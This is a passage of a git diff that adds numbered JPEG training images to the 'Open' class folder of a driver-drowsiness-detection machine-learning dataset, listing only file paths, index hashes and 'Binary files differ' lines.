00000000..8176d3c6 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_508.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_509.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_509.jpg new file mode 100644 index 00000000..0dac9440 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_509.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_51.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_51.jpg new file mode 100644 index 00000000..ed0b532a Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_51.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_510.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_510.jpg new file mode 100644 index 00000000..a2a95eb6 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_510.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_511.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_511.jpg new file mode 100644 index 00000000..1ff27f36 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_511.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_512.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_512.jpg new file mode 100644 index 00000000..b2b218b8 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_512.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_513.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_513.jpg new file mode 100644 index 00000000..56654ae5 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_513.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_516.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_516.jpg new file mode 100644 index 00000000..d2a032b2 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_516.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_517.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_517.jpg new file mode 100644 index 00000000..3f8502c0 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_517.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_518.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_518.jpg new file mode 100644 index 00000000..1df432ea Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_518.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_519.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_519.jpg new file mode 100644 index 00000000..6b2f0b76 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_519.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_52.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_52.jpg new file mode 100644 index 00000000..3528ddd8 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_52.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_520.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_520.jpg new file mode 100644 index 00000000..670054d3 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_520.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_521.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_521.jpg new file mode 100644 index 00000000..f3df50d4 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_521.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_522.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_522.jpg new file mode 100644 index 00000000..650f2ec6 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_522.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_523.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_523.jpg new file mode 100644 index 00000000..c36a7c98 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_523.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_524.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_524.jpg new file mode 100644 index 00000000..3afb5101 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_524.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_525.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_525.jpg new file mode 100644 index 00000000..790aa2b5 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_525.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_526.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_526.jpg new file mode 100644 index 00000000..c23461a8 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_526.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_527.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_527.jpg new file mode 100644 index 00000000..d7322792 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_527.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_528.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_528.jpg new file mode 100644 index 00000000..00c86270 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_528.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_53.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_53.jpg new file mode 100644 index 00000000..17218261 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_53.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_530.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_530.jpg new file mode 100644 index 00000000..56ad416e Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_530.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_531.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_531.jpg new file mode 100644 index 00000000..ce126d86 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_531.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_532.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_532.jpg new file mode 100644 index 00000000..17b942db Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_532.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_533.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_533.jpg new file mode 100644 index 00000000..0dc11417 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_533.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_535.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_535.jpg new file mode 100644 index 00000000..da13e928 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_535.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_536.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_536.jpg new file mode 100644 index 00000000..08157699 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_536.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_537.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_537.jpg new file mode 100644 index 00000000..90b021fd Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_537.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_539.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_539.jpg new file mode 100644 index 00000000..1ca1d24f Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_539.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_54.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_54.jpg new file mode 100644 index 00000000..ed0c131f Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_54.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_540.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_540.jpg new file mode 100644 index 00000000..0a60e88e Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_540.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_543.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_543.jpg new file mode 100644 index 00000000..ed6a3f10 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_543.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_544.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_544.jpg new file mode 100644 index 00000000..1c2d2868 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_544.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_545.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_545.jpg new file mode 100644 index 00000000..94f9432a Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_545.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_546.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_546.jpg new file mode 100644 index 00000000..ecac2d58 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_546.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_547.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_547.jpg new file mode 100644 index 00000000..fc477e81 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_547.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_548.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_548.jpg new file mode 100644 index 00000000..5742f56f Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_548.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_549.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_549.jpg new file mode 100644 index 00000000..600364c1 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_549.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_55.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_55.jpg new file mode 100644 index 00000000..3a4bfffa Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_55.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_550.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_550.jpg new file mode 100644 index 00000000..808431e7 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_550.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_551.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_551.jpg new file mode 100644 index 00000000..7d71228d Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_551.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_552.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_552.jpg new file mode 100644 index 00000000..7a21d688 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_552.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_553.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_553.jpg new file mode 100644 index 00000000..da6cb6d5 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_553.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_554.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_554.jpg new file mode 100644 index 00000000..daa34361 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_554.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_555.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_555.jpg new file mode 100644 index 00000000..30519d1e Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_555.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_556.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_556.jpg new file mode 100644 index 00000000..949cbc3a Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_556.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_557.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_557.jpg new file mode 100644 index 00000000..a00ebd92 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_557.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_558.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_558.jpg new file mode 100644 index 00000000..53833986 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_558.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_56.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_56.jpg new file mode 100644 index 00000000..e6abb500 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_56.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_560.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_560.jpg new file mode 100644 index 00000000..04279813 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_560.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_561.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_561.jpg new file mode 100644 index 00000000..3dc34344 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_561.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_562.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_562.jpg new file mode 100644 index 00000000..16393a71 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_562.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_563.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_563.jpg new file mode 100644 index 00000000..ba0ccd70 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_563.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_564.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_564.jpg new file mode 100644 index 00000000..d0af9ade Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_564.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_565.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_565.jpg new file mode 100644 index 00000000..138a0251 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_565.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_566.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_566.jpg new file mode 100644 index 00000000..bb927308 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_566.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_567.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_567.jpg new file mode 100644 index 00000000..a88a05d7 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_567.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_569.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_569.jpg new file mode 100644 index 00000000..e497f7d4 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_569.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_57.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_57.jpg new file mode 100644 index 00000000..3639dd8b Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_57.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_570.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_570.jpg new file mode 100644 index 00000000..3c25db9b Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_570.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_571.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_571.jpg new file mode 100644 index 00000000..e5f32f32 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_571.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_572.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_572.jpg new file mode 100644 index 00000000..51884a61 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_572.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_573.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_573.jpg new file mode 100644 index 00000000..8369ecd1 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_573.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_574.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_574.jpg new file mode 100644 index 00000000..364ee9cd Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_574.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_575.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_575.jpg new file mode 100644 index 00000000..1979d885 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_575.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_576.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_576.jpg new file mode 100644 index 00000000..d17895de Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_576.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_577.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_577.jpg new file mode 100644 index 00000000..162afb2d Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_577.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_578.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_578.jpg new file mode 100644 index 00000000..80e18542 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_578.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_579.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_579.jpg new file mode 100644 index 00000000..2550eeba Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_579.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_580.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_580.jpg new file mode 100644 index 00000000..b7718aaa Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_580.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_581.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_581.jpg new file mode 100644 index 00000000..e0ab22e9 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_581.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_582.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_582.jpg new file mode 100644 index 00000000..3ea2cd48 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_582.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_583.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_583.jpg new file mode 100644 index 00000000..e282a658 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_583.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_587.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_587.jpg new file mode 100644 index 00000000..5224f9da Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_587.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_588.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_588.jpg new file mode 100644 index 00000000..5e94adf4 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_588.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_589.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_589.jpg new file mode 100644 index 00000000..f2556d31 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_589.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_590.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_590.jpg new file mode 100644 index 00000000..c8e27ca1 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_590.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_591.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_591.jpg new file mode 100644 index 00000000..70b10c22 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_591.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_592.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_592.jpg new file mode 100644 index 00000000..9fea0e24 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_592.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_593.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_593.jpg new file mode 100644 index 00000000..84d966a2 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_593.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_594.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_594.jpg new file mode 100644 index 00000000..9a6f3357 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_594.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_595.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_595.jpg new file mode 100644 index 00000000..986fdb5a Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_595.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_596.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_596.jpg new file mode 100644 index 00000000..6bf63e78 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_596.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_598.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_598.jpg new file mode 100644 index 00000000..34e65a27 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_598.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_599.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_599.jpg new file mode 100644 index 00000000..7a1a4ac8 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_599.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_6.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_6.jpg new file mode 100644 index 00000000..472486e5 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_6.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_60.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_60.jpg new file mode 100644 index 00000000..c0144c3d Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_60.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_600.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_600.jpg new file mode 100644 index 00000000..d3321ae2 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_600.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_601.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/train/Open/_601.jpg new file mode 100644 index 00000000..0ec7b149 Binary files /dev/null and b/MachineLearning 